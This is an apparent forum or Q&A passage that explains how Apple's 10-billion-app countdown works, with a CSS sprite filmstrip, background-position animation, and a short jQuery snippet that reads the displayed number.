this.setNeedsDisplayIfNeeded()
}
});
Looks like it's a JS counter coupled with CSS.
The hearth of the whole script is this single image: http://images.apple.com/itunes/10-billion-app-countdown/images/filmstrip.png
Now everything should be obvious.
HTML placeholder for a single digit:
<div class="digit-placeholder"></div>
CSS that styles that placeholder:
.digit-placeholder {
/* Dimensions of a single "frame" */
width: 50px;
height: 75px;
background-image: url(...);
background-position: 0 0;
}
To display digit 7 you just have to move background (background-positon property) to the following coordinates: 0 -2800px (that's only an example). To display 8 move it to 0 -3400px.
To create an animation (change from 7 to 8) you just have to move background from -2800 to -3400 with a step of 60 in some period of time (let's say 0.5 second).
All you have to do is to clone that several times (10 times for one billion) and compute that period of time for each digit.
There's a file stored on the apple server which contains a count and a timestamp:
http://www.apple.com/autopush/us/itunes/includes/countdown.inc
That should give you a rough count.
Before I go to bed:
var number = '';
$('.digitImage').each(function(i) {
number += Math.abs($(this).position().top) / 618;
});
console.log(+number);
Now how long did that take? 3 minutes trying to figure out how do install a bookmarklet in chrome for injecting jQuery... 5 more minutes to get it working.

Categories